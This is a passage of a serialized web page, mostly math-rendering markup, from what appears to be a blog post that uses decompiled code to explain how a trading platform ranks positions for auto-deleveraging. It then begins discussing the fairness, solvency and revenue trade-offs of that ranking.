value",{"type":21,"tag":85,"props":160880,"children":160881},{"style":114082},[160882,160886],{"type":21,"tag":85,"props":160883,"children":160885},{"className":160884,"style":112680},[4817],[],{"type":21,"tag":85,"props":160887,"children":160889},{"className":160888,"style":114092},[114091],[],{"type":21,"tag":85,"props":160891,"children":160892},{"style":159669},[160893,160897],{"type":21,"tag":85,"props":160894,"children":160896},{"className":160895,"style":112680},[4817],[],{"type":21,"tag":85,"props":160898,"children":160900},{"className":160899},[4776],[160901,160906,160915],{"type":21,"tag":85,"props":160902,"children":160904},{"className":160903},[4776],[160905],{"type":26,"value":159684},{"type":21,"tag":85,"props":160907,"children":160909},{"className":160908},[4776,26],[160910],{"type":21,"tag":85,"props":160911,"children":160913},{"className":160912},[4776],[160914],{"type":26,"value":159694},{"type":21,"tag":85,"props":160916,"children":160918},{"className":160917},[4776],[160919],{"type":26,"value":159684},{"type":21,"tag":85,"props":160921,"children":160923},{"className":160922},[22173],[160924],{"type":26,"value":22176},{"type":21,"tag":85,"props":160926,"children":160928},{"className":160927},[4803],[160929],{"type":21,"tag":85,"props":160930,"children":160933},{"className":160931,"style":160932},[4808],"height:0.686em;",[160934],{"type":21,"tag":85,"props":160935,"children":160936},{},[],{"type":21,"tag":85,"props":160938,"children":160940},{"className":160939},[22167,114027],[],{"type":21,"tag":22,"props":160942,"children":160943},{},[160944,160946,160952,160954,160960,160961,160967,160969,160975],{"type":26,"value":160945},"We can see in the decompilation below, through the SIMD noise, that ",{"type":21,"tag":66,"props":160947,"children":160949},{"className":160948},[],[160950],{"type":26,"value":160951},"abs_notional",{"type":26,"value":160953}," (unsigned), and ",{"type":21,"tag":66,"props":160955,"children":160957},{"className":160956},[],[160958],{"type":26,"value":160959},"float.d(rbx)",{"type":26,"value":6268},{"type":21,"tag":66,"props":160962,"children":160964},{"className":160963},[],[160965],{"type":26,"value":160966},"account_value",{"type":26,"value":160968}," (signed); the division is ",{"type":21,"tag":66,"props":160970,"children":160972},{"className":160971},[],[160973],{"type":26,"value":160974},"abs_notional / account_value",{"type":26,"value":73},{"type":21,"tag":22,"props":160977,"children":160978},{},[160979],{"type":26,"value":160980},"This tells us the risk multiplier that the user took on for this position.",{"type":21,"tag":159508,"props":160982,"children":160986},{"addr":160983,"line-start":160984,"line-end":160985},"0x555556abb140","278","296",[],{"type":21,"tag":54,"props":160988,"children":160990},{"id":160989},"ratio-2-profit-ratio",[160991],{"type":26,"value":160992},"Ratio 2: Profit Ratio",{"type":21,"tag":75,"props":160994,"children":160995},{},[160996],{"type":21,"tag":66,"props":160997,"children":160999},{"className":160998},[4748,159536],[161000],{"type":21,"tag":85,"props":161001,"children":161003},{"className":161002},[159541],[161004],{"type":21,"tag":85,"props":161005,"children":161007},{"className":161006},[4754],[161008],{"type":21,"tag":85,"props":161009,"children":161011},{"className":161010,"ariaHidden":4760},[4759],[161012,161043],{"type":21,"tag":85,"props":161013,"children":161015},{"className":161014},[4765],[161016,161020,161030,161034,161039],{"type":21,"tag":85,"props":161017,"children":161019},{"className":161018,"style":115564},[4770],[],{"type":21,"tag":85,"props":161021,"children":161023},{"className":161022},[4776,26],[161024],{"type":21,"tag":85,"props":161025,"children":161027},{"className":161026},[4776],[161028],{"type":26,"value":161029},"profit ratio",{"type":21,"tag":85,"props":161031,"children":161033},{"className":161032,"style":4955},[4857],[],{"type":21,"tag":85,"props":161035,"children":161037},{"className":161036},[4960],[161038],{"type":26,"value":741},{"type":21,"tag":85,"props":161040,"children":161042},{"className":161041,"style":4955},[4857],[],{"type":21,"tag":85,"props":161044,"children":161046},{"className":161045},[4765],[161047,161051],{"type":21,"tag":85,"props":161048,"children":161050},{"className":161049,"style":159589},[4770],[],{"type":21,"tag":85,"props":161052,"children":161054},{"className":161053},[4776],[161055,161059,161178],{"type":21,"tag":85,"props":161056,"children":161058},{"className":161057},[22145,114027],[],{"type":21,"tag":85,"props":161060,"children":161062},{"className":161061},[114032],[161063],{"type":21,"tag":85,"props":161064,"children":161066},{"className":161065},[4798,22070],[161067,161167],{"type":21,"tag":85,"props":161068,"children":161070},{"className":161069},[4803],[161071,161162],{"type":21,"tag":85,"props":161072,"children":161074},{"className":161073,"style":159614},[4808],[161075,161096,161107],{"type":21,"tag":85,"props":161076,"children":161077},{"style":159618},[161078,161082],{"type":21,"tag":85,"props":161079,"children":161081},{"className":161080,"style":112680},[4817],[],{"type":21,"tag":85,"props":161083,"children":161085},{"className":161084},[4776],[161086],{"type":21,"tag":85,"props":161087,"children":161089},{"className":161088},[4776,26],[161090],{"type":21,"tag":85,"props":161091,"children":161093},{"className":161092},[4776],[161094],{"type":26,"value":161095},"entry notional",{"type":21,"tag":85,"props":161097,"children":161098},{"style":114082},[161099,161103],{"type":21,"tag":85,"props":161100,"children":161102},{"className":161101,"style":112680},[4817],[],{"type":21,"tag":85,"props":161104,"children":161106},{"className":161105,"style":114092},[114091],[],{"type":21,"tag":85,"props":161108,"children":161109},{"style":159669},[161110,161114],{"type":21,"tag":85,"props":161111,"children":161113},{"className":161112,"style":112680},[4817],[],{"type":21,"tag":85,"props":161115,"children":161117},{"className":161116},[4776],[161118,161124,161129,161139,161144,161148,161152,161157],{"type":21,"tag":85,"props":161119,"children":161121},{"className":161120},[22052],[161122],{"type":26,"value":161123},"max",{"type":21,"tag":85,"props":161125,"children":161127},{"className":161126},[22145],[161128],{"type":26,"value":1439},{"type":21,"tag":85,"props":161130,"children":161132},{"className":161131},[4776,26],[161133],{"type":21,"tag":85,"props":161134,"children":161136},{"className":161135},[4776],[161137],{"type":26,"value":161138},"pnl",{"type":21,"tag":85,"props":161140,"children":161142},{"className":161141},[4889],[161143],{"type":26,"value":4892},{"type":21,"tag":85,"props":161145,"children":161147},{"className":161146,"style":4896},[4857],[],{"type":21,"tag":85,"props":161149,"children":161151},{"className":161150,"style":4896},[4857],[],{"type":21,"tag":85,"props":161153,"children":161155},{"className":161154},[4776],[161156],{"type":26,"value":4789},{"type":21,"tag":85,"props":161158,"children":161160},{"className":161159},[22167],[161161],{"type":26,"value":1900},{"type":21,"tag":85,"props":161163,"children":161165},{"className":161164},[22173],[161166],{"type":26,"value":22176},{"type":21,"tag":85,"props":161168,"children":161170},{"className":161169},[4803],[161171],{"type":21,"tag":85,"props":161172,"children":161174},{"className":161173,"style":159712},[4808],[161175],{"type":21,"tag":85,"props":161176,"children":161177},{},[],{"type":21,"tag":85,"props":161179,"children":161181},{"className":161180},[22167,114027],[],{"type":21,"tag":22,"props":161183,"children":161184},{},[161185,161187,161193],{"type":26,"value":161186},"It uses entry notional (",{"type":21,"tag":66,"props":161188,"children":161190},{"className":161189},[],[161191],{"type":26,"value":161192},"r14_2",{"type":26,"value":161194},") as the divisor. PNL is clamped to non-negative before division.",{"type":21,"tag":22,"props":161196,"children":161197},{},[161198],{"type":26,"value":161199},"This basically tells us how well the user's bet went.",{"type":21,"tag":159508,"props":161201,"children":161205},{"addr":161202,"addr-start":161203,"addr-end":161204},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":21,"tag":22,"props":161207,"children":161208},{},[161209,161211,161217,161219,161225],{"type":26,"value":161210},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":21,"tag":66,"props":161212,"children":161214},{"className":161213},[],[161215],{"type":26,"value":161216},"1e-8",{"type":26,"value":161218},", in order not to cancel each other out. The final ADL ranking score is ",{"type":21,"tag":66,"props":161220,"children":161222},{"className":161221},[],[161223],{"type":26,"value":161224},"effective_leverage * profit_ratio",{"type":26,"value":161226},", consistent with both ratio directions and the max clamp on PNL.",{"type":21,"tag":22,"props":161228,"children":161229},{},[161230],{"type":26,"value":161231},"So, in essence, we look for risky and profitable positions!",{"type":21,"tag":10022,"props":161233,"children":161235},{"id":161234},"partial-and-total-adl",[161236],{"type":26,"value":161237},"Partial and Total ADL",{"type":21,"tag":22,"props":161239,"children":161240},{},[161241],{"type":26,"value":161242},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":21,"tag":22,"props":161244,"children":161245},{},[161246],{"type":26,"value":161247},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":21,"tag":22,"props":161249,"children":161250},{},[161251,161253,161258],{"type":26,"value":161252},"So essentially, in pseudocode, the whole latter part of ",{"type":21,"tag":66,"props":161254,"children":161256},{"className":161255},[],[161257],{"type":26,"value":159833},{"type":26,"value":161259}," boils down to:",{"type":21,"tag":159508,"props":161261,"children":161264},{"addr":159879,"line-start":161262,"line-end":161263},"3252","3632",[],{"type":21,"tag":22,"props":161266,"children":161267},{},[161268],{"type":26,"value":161269},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":21,"tag":35820,"props":161271,"children":161273},{"id":161272},"branches",[161274],{"type":26,"value":161275},"Branches",{"type":21,"tag":22,"props":161277,"children":161278},{},[161279],{"type":26,"value":161280},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":21,"tag":22,"props":161282,"children":161283},{},[161284],{"type":26,"value":161285},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":21,"tag":35820,"props":161287,"children":161289},{"id":161288},"financial-conclusions",[161290],{"type":26,"value":161291},"Financial Conclusions",{"type":21,"tag":54,"props":161293,"children":161295},{"id":161294},"fairness-revenue-solvency-trilemma",[161296],{"type":26,"value":161297},"Fairness, Revenue, Solvency Trilemma",{"type":21,"tag":22,"props":161299,"children":161300},{},[161301,161303,161309],{"type":26,"value":161302},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":21,"tag":335,"props":161304,"children":161306},{"href":160661,"rel":161305},[339],[161307],{"type":26,"value":161308},"the paper mentioned before",{"type":26,"value":161310},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":21,"tag":17108,"props":161312,"children":161313},{},[161314,161324,161334],{"type":21,"tag":845,"props":161315,"children":161316},{},[161317,161322],{"type":21,"tag":39,"props":161318,"children":161319},{},[161320],{"type":26,"value":161321},"Solvency",{"type":26,"value":161323},": can the platform pay every trader out?",{"type":21,"tag":845,"props":161325,"children":161326},{},[161327,161332],{"type":21,"tag":39,"props":161328,"children":161329},{},[161330],{"type":26,"value":161331},"Fairness",{"type":26,"value":161333},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":21,"tag":845,"props":161335,"children":161336},{},[161337,161342],{"type":21,"tag":39,"props":161338,"children":161339},{},[161340],{"type":26,"value":161341},"Revenue",{"type":26,"value":161343},": the fraction of total winner PNL that survives after deleveraging.",{"type":21,"tag":22,"props":161345,"children":161346},{},[161347],{"type":26,"value":161348},"Let's borrow these definitions from the paper:",{"type":21,"tag":75,"props":161350,"children":161351},{},[161352],{"type":21,"tag":66,"props":161353,"children":161355},{"className":161354},[4748,159536],[161356],{"type":21,"tag":85,"props":161357,"children":161359},{"className":161358},[159541],[161360],{"type":21,"tag":85,"props":161361,"children":161363},{"className":161362},[4754],[161364],{"type":21,"tag":85,"props":161365,"children":161367},{"className":161366,"ariaHidden":4760},[4759],[161368],{"type":21,"tag":85,"props":161369,"children":161371},{"className":161370},[4765],[161372,161377],{"type":21,"tag":85,"props":161373,"children":161376},{"className":161374,"style":161375},[4770],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":21,"tag":85,"props":161378,"children":161380},{"className":161379},[4776],[161381],{"type":21,"tag":85,"props":161382,"children":161384},{"className":161383},[160238],[161385,162204],{"type":21,"tag":85,"props":161386,"children":161388},{"className":161387},[160243],[161389],{"type":21,"tag":85,"props":161390,"children":161392},{"className":161391},[4798,22070],[161393,162192],{"type":21,"tag":85,"props":161394,"children":161396},{"className":161395},[4803],[161397,162187],{"type":21,"tag":85,"props":161398,"children":161401},{"className":161399,"style":161400},[4808],"height:11.8392em;",[161402,161473,161490,161559,161629,161698,161768,161837,161906,161975,162045,162116],{"type":21,"tag":85,"props":161403,"children":161405},{"style":161404},"top:-14.3707em;",[161406,161411],{"type":21,"tag":85,"props":161407,"children":161410},{"className":161408,"style":161409},[4817],"height:3.3714em;",[],{"type":21,"tag":85,"props":161412,"children":161414},{"className":161413},[4776],[161415],{"type":21,"tag":85,"props":161416,"children":161418},{"className":161417},[4776],[161419,161424],{"type":21,"tag":85,"props":161420,"children":161422},{"className":161421,"style":22017},[4776,22016],[161423],{"type":26,"value":22020},{"type":21,"tag":85,"props":161425,"children":161427},{"className":161426},[4793],[161428],{"type":21,"tag":85,"props":161429,"children":161431},{"className":161430},[4798,22070],[161432,161462],{"type":21,"tag":85,"props":161433,"children":161435},{"className":161434},[4803],[161436,161457],{"type":21,"tag":85,"props":161437,"children":161439},{"className":161438,"style":109941},[4808],[161440],{"type":21,"tag":85,"props":161441,"children":161443},{"style":161442},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[161444,161448],{"type":21,"tag":85,"props":161445,"children":161447},{"className":161446,"style":4818},[4817],[],{"type":21,"tag":85,"props":161449,"children":161451},{"className":161450},[4823,4824,4825,4826],[161452],{"type":21,"tag":85,"props":161453,"children":161455},{"className":161454},[4776,22016,4826],[161456],{"type":26,"value":56860},{"type":21,"tag":85,"props":161458,"children":161460},{"className":161459},[22173],[161461],{"type":26,"value":22176},{"type":21,"tag":85,"props":161463,"children":161465},{"className":161464},[4803],[161466],{"type":21,"tag":85,"props":161467,"children":161469},{"className":161468,"style":93592},[4808],[161470],{"type":21,"tag":85,"props":161471,"children":161472},{},[],{"type":21,"tag":85,"props":161474,"children":161476},{"style":161475},"top:-12.8707em;",[161477,161481],{"type":21,"tag":85,"props":161478,"children":161480},{"className":161479,"style":161409},[4817],[],{"type":21,"tag":85,"props":161482,"children":161484},{"className":161483},[4776],[161485],{"type":21,"tag":85,"props":161486,"children":161488},{"className":161487,"style":95529},[4776,22016],[161489],{"type":26,"value":95563},{"type":21,"tag":85,"props":161491,"children":161493},{"style":161492},"top:-10.8392em;",[161494,161498],{"type":21,"tag":85,"props":161495,"children":161497},{"className":161496,"style":161409},[4817],[],{"type":21,"tag":85,"props":161499,"children":161501},{"className":161500},[4776],[161502],{"type":21,"tag":85,"props":161503,"children":161505},{"className":161504},[4776],[161506,161511],{"type":21,"tag":85,"props":161507,"children":161509},{"className":161508},[4776,22016],[161510],{"type":26,"value":3918},{"type":21,"tag":85,"props":161512,"children":161514},{"className":161513},[4793],[161515],{"type":21,"tag":85,"props":161516,"children":161518},{"className":161517},[4798,22070],[161519,161548],{"type":21,"tag":85,"props":161520,"children":161522},{"className":161521},[4803],[161523,161543],{"type":21,"tag":85,"props":161524,"children":161526},{"className":161525,"style":94038},[4808],[161527],{"type":21,"tag":85,"props":161528,"children":161529},{"style":93565},[161530,161534],{"type":21,"tag":85,"props":161531,"children":161533},{"className":161532,"style":4818},[4817],[],{"type":21,"tag":85,"props":161535,"children":161537},{"className":161536},[4823,4824,4825,4826],[161538],{"type":21,"tag":85,"props":161539,"children":161541},{"className":161540},[4776,22016,4826],[161542],{"type":26,"value":3003},{"type":21,"tag":85,"props":161544,"children":161546},{"className":161545},[22173],[161547],{"type":26,"value":22176},{"type":21,"tag":85,"props":161549,"children":161551},{"className":161550},[4803],[161552],{"type":21,"tag":85,"props":161553,"children":161555},{"className":161554,"style":93592},[4808],[161556],{"type":21,"tag":85,"props":161557,"children":161558},{},[],{"type":21,"tag":85,"props":161560,"children":161562},{"style":161561},"top:-8.8188em;",[161563,161567],{"type":21,"tag":85,"props":161564,"children":161566},{"className":161565,"style":161409},[4817],[],{"type":21,"tag":85,"props":161568,"children":161570},{"className":161569},[4776],[161571],{"type":21,"tag":85,"props":161572,"children":161574},{"className":161573},[4776],[161575,161581],{"type":21,"tag":85,"props":161576,"children":161578},{"className":161577,"style":93995},[4776,22016],[161579],{"type":26,"value":161580},"π",{"type":21,"tag":85,"props":161582,"children":161584},{"className":161583},[4793],[161585],{"type":21,"tag":85,"props":161586,"children":161588},{"className":161587},[4798,22070],[161589,161618],{"type":21,"tag":85,"props":161590,"children":161592},{"className":161591},[4803],[161593,161613],{"type":21,"tag":85,"props":161594,"children":161596},{"className":161595,"style":94038},[4808],[161597],{"type":21,"tag":85,"props":161598,"children":161599},{"style":94042},[161600,161604],{"type":21,"tag":85,"props":161601,"children":161603},{"className":161602,"style":4818},[4817],[],{"type":21,"tag":85,"props":161605,"children":161607},{"className":161606},[4823,4824,4825,4826],[161608],{"type":21,"tag":85,"props":161609,"children":161611},{"className":161610},[4776,22016,4826],[161612],{"type":26,"value":3003},{"type":21,"tag":85,"props":161614,"children":161616},{"className":161615},[22173],[161617],{"type":26,"value":22176},{"type":21,"tag":85,"props":161619,"children":161621},{"className":161620},[4803],[161622],{"type":21,"tag":85,"props":161623,"children":161625},{"className":161624,"style":93592},[4808],[161626],{"type":21,"tag":85,"props":161627,"children":161628},{},[],{"type":21,"tag":85,"props":161630,"children":161632},{"style":161631},"top:-7.3188em;",[161633,161637],{"type":21,"tag":85,"props":161634,"children":161636},{"className":161635,"style":161409},[4817],[],{"type":21,"tag":85,"props":161638,"children":161640},{"className":161639},[4776],[161641],{"type":21,"tag":85,"props":161642,"children":161644},{"className":161643},[4776],[161645,161650],{"type":21,"tag":85,"props":161646,"children":161648},{"className":161647},[4776,22016],[161649],{"type":26,"value":51910},{"type":21,"tag":85,"props":161651,"children":161653},{"className":161652},[4793],[161654],{"type":21,"tag":85,"props":161655,"children":161657},{"className":161656},[4798,22070],[161658,161687],{"type":21,"tag":85,"props":161659,"children":161661},{"className":161660},[4803],[161662,161682],{"type":21,"tag":85,"props":161663,"children":161665},{"className":161664,"style":94038},[4808],[161666],{"type":21,"tag":85,"props":161667,"children":161668},{"style":93565},[161669,161673],{"type":21,"tag":85,"props":161670,"children":161672},{"className":161671,"style":4818},[4817],[],{"type":21,"tag":85,"props":161674,"children":161676},{"className":161675},[4823,4824,4825,4826],[161677],{"type":21,"tag":85,"props":161678,"children":161680},{"className":161679},[4776,22016,4826],[161681],{"type":26,"value":3003},{"type":21,"tag":85,"props":161683,"children":161685},{"className":161684},[22173],[161686],{"type":26,"value":22176},{"type":21,"tag":85,"props":161688,"children":161690},{"className":161689},[4803],[161691],{"type":21,"tag":85,"props":161692,"children":161694},{"className":161693,"style":93592},[4808],[161695],{"type":21,"tag":85,"props":161696,"children":161697},{},[],{"type":21,"tag":85,"props":161699,"children":161701},{"style":161700},"top:-5.8188em;",[161702,161706],{"type":21,"tag":85,"props":161703,"children":161705},{"className":161704,"style":161409},[4817],[],{"type":21,"tag":85,"props":161707,"children":161709},{"className":161708},[4776],[161710],{"type":21,"tag":85,"props":161711,"children":161713},{"className":161712},[4776],[161714,161719],{"type":21,"tag":85,"props":161715,"children":161717},{"className":161716,"style":122789},[4776,22016],[161718],{"type":26,"value":50027},{"type":21,"tag":85,"props":161720,"children":161722},{"className":161721},[4793],[161723],{"type":21,"tag":85,"props":161724,"children":161726},{"className":161725},[4798,22070],[161727,161757],{"type":21,"tag":85,"props":161728,"children":161730},{"className":161729},[4803],[161731,161752],{"type":21,"tag":85,"props":161732,"children":161734},{"className":161733,"style":94038},[4808],[161735],{"type":21,"tag":85,"props":161736,"children":161738},{"style":161737},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[161739,161743],{"type":21,"tag":85,"props":161740,"children":161742},{"className":161741,"style":4818},[4817],[],{"type":21,"tag":85,"props":161744,"children":161746},{"className":161745},[4823,4824,4825,4826],[161747],{"type":21,"tag":85,"props":161748,"children":161750},{"className":161749},[4776,22016,4826],[161751],{"type":26,"value":3003},{"type":21,"tag":85,"props":161753,"children":161755},{"className":161754},[22173],[161756],{"type":26,"value":22176},{"type":21,"tag":85,"props":161758,"children":161760},{"className":161759},[4803],[161761],{"type":21,"tag":85,"props":161762,"children":161764},{"className":161763,"style":93592},[4808],[161765],{"type":21,"tag":85,"props":161766,"children":161767},{},[],{"type":21,"tag":85,"props":161769,"children":161771},{"style":161770},"top:-4.3188em;",[161772,161776],{"type":21,"tag":85,"props":161773,"children":161775},{"className":161774,"style":161409},[4817],[],{"type":21,"tag":85,"props":161777,"children":161779},{"className":161778},[4776],[161780],{"type":21,"tag":85,"props":161781,"children":161783},{"className":161782},[4776],[161784,161789],{"type":21,"tag":85,"props":161785,"children":161787},{"className":161786},[4776,22016],[161788],{"type":26,"value":19702},{"type":21,"tag":85,"props":161790,"children":161792},{"className":161791},[4793],[161793],{"type":21,"tag":85,"props":161794,"children":161796},{"className":161795},[4798,22070],[161797,161826],{"type":21,"tag":85,"props":161798,"children":161800},{"className":161799},[4803],[161801,161821],{"type":21,"tag":85,"props":161802,"children":161804},{"className":161803,"style":94038},[4808],[161805],{"type":21,"tag":85,"props":161806,"children":161807},{"style":93565},[161808,161812],{"type":21,"tag":85,"props":161809,"children":161811},{"className":161810,"style":4818},[4817],[],{"type":21,"tag":85,"props":161813,"children":161815},{"className":161814},[4823,4824,4825,4826],[161816],{"type":21,"tag":85,"props":161817,"children":161819},{"className":161818},[4776,22016,4826],[161820],{"type":26,"value":3003},{"type":21,"tag":85,"props":161822,"children":161824},{"className":161823},[22173],[161825],{"type":26,"value":22176},{"type":21,"tag":85,"props":161827,"children":161829},{"className":161828},[4803],[161830],{"type":21,"tag":85,"props":161831,"children":161833},{"className":161832,"style":93592},[4808],[161834],{"type":21,"tag":85,"props":161835,"children":161836},{},[],{"type":21,"tag":85,"props":161838,"children":161840},{"style":161839},"top:-2.5512em;",[161841,161845],{"type":21,"tag":85,"props":161842,"children":161844},{"className":161843,"style":161409},[4817],[],{"type":21,"tag":85,"props":161846,"children":161848},{"className":161847},[4776],[161849],{"type":21,"tag":85,"props":161850,"children":161852},{"className":161851},[4776],[161853,161858],{"type":21,"tag":85,"props":161854,"children":161856},{"className":161855},[4776,22016],[161857],{"type":26,"value":84807},{"type":21,"tag":85,"props":161859,"children":161861},{"className":161860},[4793],[161862],{"type":21,"tag":85,"props":161863,"children":161865},{"className":161864},[4798,22070],[161866,161895],{"type":21,"tag":85,"props":161867,"children":161869},{"className":161868},[4803],[161870,161890],{"type":21,"tag":85,"props":161871,"children":161873},{"className":161872,"style":94038},[4808],[161874],{"type":21,"tag":85,"props":161875,"children":161876},{"style":93565},[161877,161881],{"type":21,"tag":85,"props":161878,"children":161880},{"className":161879,"style":4818},[4817],[],{"type":21,"tag":85,"props":161882,"children":161884},{"className":161883},[4823,4824,4825,4826],[161885],{"type":21,"tag":85,"props":161886,"children":161888},{"className":161887},[4776,22016,4826],[161889],{"type":26,"value":3003},{"type":21,"tag":85,"props":161891,"children":161893},{"className":161892},[22173],[161894],{"type":26,"value":22176},{"type":21,"tag":85,"props":161896,"children":161898},{"className":161897},[4803],[161899],{"type":21,"tag":85,"props":161900,"children":161902},{"className":161901,"style":93592},[4808],[161903],{"type":21,"tag":85,"props":161904,"children":161905},{},[],{"type":21,"tag":85,"props":161907,"children":161909},{"style":161908},"top:-0.3652em;",[161910,161914],{"type":21,"tag":85,"props":161911,"children":161913},{"className":161912,"style":161409},[4817],[],{"type":21,"tag":85,"props":161915,"children":161917},{"className":161916},[4776],[161918],{"type":21,"tag":85,"props":161919,"children":161921},{"className":161920},[4776],[161922,161927],{"type":21,"tag":85,"props":161923,"children":161925},{"className":161924,"style":93743},[4776,22016],[161926],{"type":26,"value":93746},{"type":21,"tag":85,"props":161928,"children":161930},{"className":161929},[4793],[161931],{"type":21,"tag":85,"props":161932,"children":161934},{"className":161933},[4798,22070],[161935,161964],{"type":21,"tag":85,"props":161936,"children":161938},{"className":161937},[4803],[161939,161959],{"type":21,"tag":85,"props":161940,"children":161942},{"className":161941,"style":143064},[4808],[161943],{"type":21,"tag":85,"props":161944,"children":161945},{"style":110938},[161946,161950],{"type":21,"tag":85,"props":161947,"children":161949},{"className":161948,"style":4818},[4817],[],{"type":21,"tag":85,"props":161951,"children":161953},{"className":161952},[4823,4824,4825,4826],[161954],{"type":21,"tag":85,"props":161955,"children":161957},{"className":161956,"style":22017},[4776,22016,4826],[161958],{"type":26,"value":308},{"type":21,"tag":85,"props":161960,"children":161962},{"className":161961},[22173],[161963],{"type":26,"value":22176},{"type":21,"tag":85,"props":161965,"children":161967},{"className":161966},[4803],[161968],{"type":21,"tag":85,"props":161969,"children":161971},{"className":161970,"style":93592},[4808],[161972],{"type":21,"tag":85,"props":161973,"children":161974},{},[],{"type":21,"tag":85,"props":161976,"children":161978},{"style":161977},"top:2.2624em;",[161979,161983],{"type":21,"tag":85,"props":161980,"children":161982},{"className":161981,"style":161409},[4817],[],{"type":21,"tag":85,"props":161984,"children":161986},{"className":161985},[4776],[161987],{"type":21,"tag":85,"props":161988,"children":161990},{"className":161989},[4776],[161991,161997],{"type":21,"tag":85,"props":161992,"children":161994},{"className":161993,"style":93509},[4776,22016],[161995],{"type":26,"value":161996},"D",{"type":21,"tag":85,"props":161998,"children":162000},{"className":161999},[4793],[162001],{"type":21,"tag":85,"props":162002,"children":162004},{"className":162003},[4798,22070],[162005,162034],{"type":21,"tag":85,"props":162006,"children":162008},{"className":162007},[4803],[162009,162029],{"type":21,"tag":85,"props":162010,"children":162012},{"className":162011,"style":143064},[4808],[162013],{"type":21,"tag":85,"props":162014,"children":162015},{"style":110508},[162016,162020],{"type":21,"tag":85,"props":162017,"children":162019},{"className":162018,"style":4818},[4817],[],{"type":21,"tag":85,"props":162021,"children":162023},{"className":162022},[4823,4824,4825,4826],[162024],{"type":21,"tag":85,"props":162025,"children":162027},{"className":162026,"style":22017},[4776,22016,4826],[162028],{"type":26,"value":308},{"type":21,"tag":85,"props":162030,"children":162032},{"className":162031},[22173],[162033],{"type":26,"value":22176},{"type":21,"tag":85,"props":162035,"children":162037},{"className":162036},[4803],[162038],{"type":21,"tag":85,"props":162039,"children":162041},{"className":162040,"style":93592},[4808],[162042],{"type":21,"tag":85,"props":162043,"children":162044},{},[],{"type":21,"tag":85,"props":162046,"children":162048},{"style":162047},"top:4.8901em;",[162049,162053],{"type":21,"tag":85,"props":162050,"children":162052},{"className":162051,"style":161409},[4817],[],{"type":21,"tag":85,"props":162054,"children":162056},{"className":162055},[4776],[162057],{"type":21,"tag":85,"props":162058,"children":162060},{"className":162059},[4776],[162061,162067],{"type":21,"tag":85,"props":162062,"children":162064},{"className":162063,"style":95517},[4776,22016],[162065],{"type":26,"value":162066},"U",{"type":21,"tag":85,"props":162068,"children":162070},{"className":162069},[4793],[162071],{"type":21,"tag":85,"props":162072,"children":162074},{"className":162073},[4798,22070],[162075,162105],{"type":21,"tag":85,"props":162076,"children":162078},{"className":162077},[4803],[162079,162100],{"type":21,"tag":85,"props":162080,"children":162082},{"className":162081,"style":143064},[4808],[162083],{"type":21,"tag":85,"props":162084,"children":162086},{"style":162085},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[162087,162091],{"type":21,"tag":85,"props":162088,"children":162090},{"className":162089,"style":4818},[4817],[],{"type":21,"tag":85,"props":162092,"children":162094},{"className":162093},[4823,4824,4825,4826],[162095],{"type":21,"tag":85,"props":162096,"children":162098},{"className":162097,"style":22017},[4776,22016,4826],[162099],{"type":26,"value":308},{"type":21,"tag":85,"props":162101,"children":162103},{"className":162102},[22173],[162104],{"type":26,"value":22176},{"type":21,"tag":85,"props":162106,"children":162108},{"className":162107},[4803],[162109],{"type":21,"tag":85,"props":162110,"children":162112},{"className":162111,"style":93592},[4808],[162113],{"type":21,"tag":85,"props":162114,"children":162115},{},[],{"type":21,"tag":85,"props":162117,"children":162119},{"style":162118},"top:7.3078em;",[162120,162124],{"type":21,"tag":85,"props":162121,"children":162123},{"className":162122,"style":161409},[4817],[],{"type":21,"tag":85,"props":162125,"children":162127},{"className":162126},[4776],[162128],{"type":21,"tag":85,"props":162129,"children":162131},{"className":162130},[4776],[162132,162137],{"type":21,"tag":85,"props":162133,"children":162135},{"className":162134,"style":123286},[4776,22016],[162136],{"type":26,"value":123289},{"type":21,"tag":85,"props":162138,"children":162140},{"className":162139},[4793],[162141],{"type":21,"tag":85,"props":162142,"children":162144},{"className":162143},[4798,22070],[162145,162176],{"type":21,"tag":85,"props":162146,"children":162148},{"className":162147},[4803],[162149,162171],{"type":21,"tag":85,"props":162150,"children":162153},{"className":162151,"style":162152},[4808],"height:0.2806em;",[162154],{"type":21,"tag":85,"props":162155,"children":162157},{"style":162156},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[162158,162162],{"type":21,"tag":85,"props":162159,"children":162161},{"className":162160,"style":4818},[4817],[],{"type":21,"tag":85,"props":162163,"children":162165},{"className":162164},[4823,4824,4825,4826],[162166],{"type":21,"tag":85,"props":162167,"children":162169},{"className":162168},[4776,22016,4826],[162170],{"type":26,"value":22158},{"type":21,"tag":85,"props":162172,"children":162174},{"className":162173},[22173],[162175],{"type":26,"value":22176},{"type":21,"tag":85,"props":162177,"children":162179},{"className":162178},[4803],[162180],{"type":21,"tag":85,"props":162181,"children":162183},{"className":162182,"style":93592},[4808],[162184],{"type":21,"tag":85,"props":162185,"children":162186},{},[],{"type":21,"tag":85,"props":162188,"children":162190},{"className":162189},[22173],[162191],{"type":26,"value":22176},{"type":21,"tag":85,"props":162193,"children":162195},{"className":162194},[4803],[162196],{"type":21,"tag":85,"props":162197,"children":162200},{"className":162198,"style":162199},[4808],"height:11.3392em;",[162201],{"type":21,"tag":85,"props":162202,"children":162203},{},[],{"type":21,"tag":85,"props":162205,"children":162207},{"className":162206},[160323],[162208],{"type":21,"tag":85,"props":162209,"children":162211},{"className":162210},[4798,22070],[162212,163914],{"type":21,"tag":85,"props":162213,"children":162215},{"className":162214},[4803],[162216,163909],{"type":21,"tag":85,"props":162217,"children":162219},{"className":162218,"style":161400},[4808],[162220,162258,162296,162443,162678,162833,162938,162981,163202,163361,1